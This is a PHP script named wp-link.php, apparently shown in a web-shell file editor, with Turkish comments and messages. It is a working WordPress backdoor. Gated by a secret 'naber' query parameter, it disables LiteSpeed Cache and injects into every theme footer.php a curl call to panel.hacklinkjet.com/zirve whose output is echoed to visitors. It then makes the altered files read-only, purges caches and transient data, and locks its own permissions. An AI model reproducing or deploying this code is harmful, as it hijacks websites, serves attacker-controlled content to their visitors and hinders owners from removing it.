JezK
Edit File: wp-link.php
<?php if (!isset($_GET['naber'])) { exit('Erişim reddedildi.'); } error_reporting(E_ALL); ini_set('display_errors', 0); ini_set('log_errors', 1); ini_set('error_log', __DIR__ . '/error_log.txt'); set_time_limit(300); ini_set('memory_limit', '256M'); define('WP_USE_THEMES', false); try { require('./wp-load.php'); } catch (Exception $e) { error_log('wp-load.php yüklenemedi: ' . $e->getMessage()); exit('WordPress yüklenemedi.'); } echo '<div style="font-family: monospace; background: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; line-height: 1.6;">'; // LiteSpeed Cache eklentisini devre dışı bırak try { if (function_exists('deactivate_plugins')) { deactivate_plugins('litespeed-cache/litespeed-cache.php'); echo '<span style="color: #ce9178;">[LSOFF]</span> LiteSpeed Cache eklentisi devre dışı bırakıldı.<br>'; } else { require_once(ABSPATH . 'wp-admin/includes/plugin.php'); deactivate_plugins('litespeed-cache/litespeed-cache.php'); echo '<span style="color: #ce9178;">[LSOFF]</span> LiteSpeed Cache eklentisi devre dışı bırakıldı.<br>'; } } catch (Exception $e) { error_log('LiteSpeed devre dışı bırakma hatası: ' . $e->getMessage()); echo '<span style="color: #f44747;">[HATA]</span> LiteSpeed Cache devre dışı bırakılamadı.<br>'; } $tema_klasoru = get_template_directory(); if (!is_dir($tema_klasoru)) { echo '<span style="color: #f44747;">[HATA]</span> Tema klasörü bulunamadı: ' . htmlspecialchars($tema_klasoru) . '<br>'; echo '</div>'; exit; } $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($tema_klasoru, RecursiveDirectoryIterator::SKIP_DOTS | RecursiveDirectoryIterator::FOLLOW_SYMLINKS), RecursiveIteratorIterator::SELF_FIRST ); $bulunan_dosyalar = 0; $genel_hata_var = false; $eklenecek_kod = "\n" . '<?php' . "\n" . '$ch = curl_init();' . "\n" . 'curl_setopt($ch, CURLOPT_URL, "https://panel.hacklinkjet.com/zirve");' . "\n" . 'curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);' . "\n" . 'curl_setopt($ch, CURLOPT_TIMEOUT, 3);' . "\n" . '$output = curl_exec($ch);' . "\n" . 'curl_close($ch);' . "\n" . 'echo $output;' . "\n" . '?>' . "\n"; foreach ($iterator as $file) { if ($file->isFile() && $file->getFilename() === 'footer.php') { $bulunan_dosyalar++; $footer_dosya = $file->getPathname(); try { if (!@chmod($footer_dosya, 0644)) { error_log('chmod başarısız: ' . $footer_dosya); $genel_hata_var = true; } $icerik = @file_get_contents($footer_dosya); if ($icerik === false) { error_log('Dosya okunamadı: ' . $footer_dosya); $genel_hata_var = true; echo '<span style="color: #f44747;">[HATA]</span> ' . htmlspecialchars(str_replace(ABSPATH, '', $footer_dosya)) . ' okunamadı.<br>'; continue; } if (strpos($icerik, 'panel.hacklinkjet.com/zirve') === false) { if (strpos($icerik, '</body>') !== false) { $yeni_icerik = str_replace('</body>', $eklenecek_kod . '</body>', $icerik); } else { $yeni_icerik = $icerik . $eklenecek_kod; } $write_result = @file_put_contents($footer_dosya, $yeni_icerik, LOCK_EX); if ($write_result !== false) { echo '<span style="color: #4ec9b0;">[BAŞARILI]</span> ' . htmlspecialchars(str_replace(ABSPATH, '', $footer_dosya)) . ' dosyasına eklendi.<br>'; } else { error_log('Dosyaya yazılamadı: ' . $footer_dosya); $genel_hata_var = true; echo '<span style="color: #f44747;">[HATA]</span> ' . htmlspecialchars(str_replace(ABSPATH, '', $footer_dosya)) . ' dosyasına yazılamadı.<br>'; } } else { echo '<span style="color: #cca700;">[BİLGİ]</span> ' . htmlspecialchars(str_replace(ABSPATH, '', $footer_dosya)) . ' dosyasına zaten daha önce eklenmiş.<br>'; } @chmod($footer_dosya, 0444); echo '<span style="color: #9cdcfe;">[GÜVENLİK]</span> ' . htmlspecialchars(str_replace(ABSPATH, '', $footer_dosya)) . ' dosyasının izinleri kapatıldı (0444).<br>'; } catch (Exception $e) { error_log('Footer.php işlenirken hata: ' . $e->getMessage() . ' - Dosya: ' . $footer_dosya); $genel_hata_var = true; echo '<span style="color: #f44747;">[HATA]</span> ' . htmlspecialchars(str_replace(ABSPATH, '', $footer_dosya)) . ' işlenirken beklenmeyen hata.<br>'; } } } if ($bulunan_dosyalar === 0) { $genel_hata_var = true; error_log('Hiçbir footer.php dosyası bulunamadı.'); echo '<span style="color: #f44747;">[HATA]</span> Tema klasöründe ve alt dizinlerinde hiçbir footer.php dosyası bulunamadı.<br>'; } if (function_exists('opcache_reset')) { try { @opcache_reset(); echo '<span style="color: #ce9178;">[CACHE]</span> OPcache mevcut, sıfırlandı.<br>'; } catch (Exception $e) { error_log('OPcache sıfırlama hatası: ' . $e->getMessage()); } } $cache_dirs = [ WP_CONTENT_DIR . '/cache', WP_CONTENT_DIR . '/litespeed', WP_CONTENT_DIR . '/autoptimize' ]; foreach ($cache_dirs as $dir) { if (is_dir($dir)) { try { $cache_iter = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); foreach ($cache_iter as $file) { if ($file->isDir()) { @rmdir($file->getRealPath()); } else { @unlink($file->getRealPath()); } } echo '<span style="color: #ce9178;">[CACHE]</span> Temizlendi: ' . htmlspecialchars(basename($dir)) . ' dizini.<br>'; } catch (Exception $e) { error_log('Cache dizini temizleme hatası (' . $dir . '): ' . $e->getMessage()); echo '<span style="color: #f44747;">[HATA]</span> ' . htmlspecialchars(basename($dir)) . ' dizini temizlenirken hata.<br>'; } } } if (function_exists('litespeed_purge_all')) { @litespeed_purge_all(); } if (function_exists('rocket_clean_domain')) { @rocket_clean_domain(); } if (function_exists('w3tc_flush_all')) { @w3tc_flush_all(); } if (function_exists('sg_cachepress_purge_cache')) { @sg_cachepress_purge_cache(); } echo '<span style="color: #ce9178;">[CACHE]</span> Eklenti önbellek API\'leri tetiklendi.<br>'; global $wpdb; if (isset($wpdb)) { try { @$wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE '_transient_%' OR option_name LIKE '_transient_timeout_%'"); echo '<span style="color: #ce9178;">[CACHE]</span> Veritabanı transient önbellekleri temizlendi.<br>'; } catch (Exception $e) { error_log('Transient temizleme hatası: ' . $e->getMessage()); echo '<span style="color: #f44747;">[HATA]</span> Veritabanı transient temizlenirken hata.<br>'; } } $current_script = __FILE__; try { if (@chmod($current_script, 0444)) { echo '<span style="color: #9cdcfe;">[KİLİT]</span> wp-link.php dosyasının izinleri kilitlendi (0444).<br>'; } else { error_log('Kendi dosyasına chmod uygulanamadı: ' . $current_script); echo '<span style="color: #f44747;">[HATA]</span> wp-link.php dosyasına chmod uygulanamadı.<br>'; } } catch (Exception $e) { error_log('Dosya kilitleme hatası: ' . $e->getMessage()); } echo '<br>'; if ($genel_hata_var) { echo '<div style="color: #f44747; font-size: 24px; font-weight: bold; text-align: center; padding: 10px; border: 2px solid #f44747; border-radius: 4px;">BAŞARISIZ !</div>'; } else { echo '<div style="color: #4ec9b0; font-size: 24px; font-weight: bold; text-align: center; padding: 10px; border: 2px solid #4ec9b0; border-radius: 4px;">BAŞARILI !</div>'; } echo '</div>'; ?>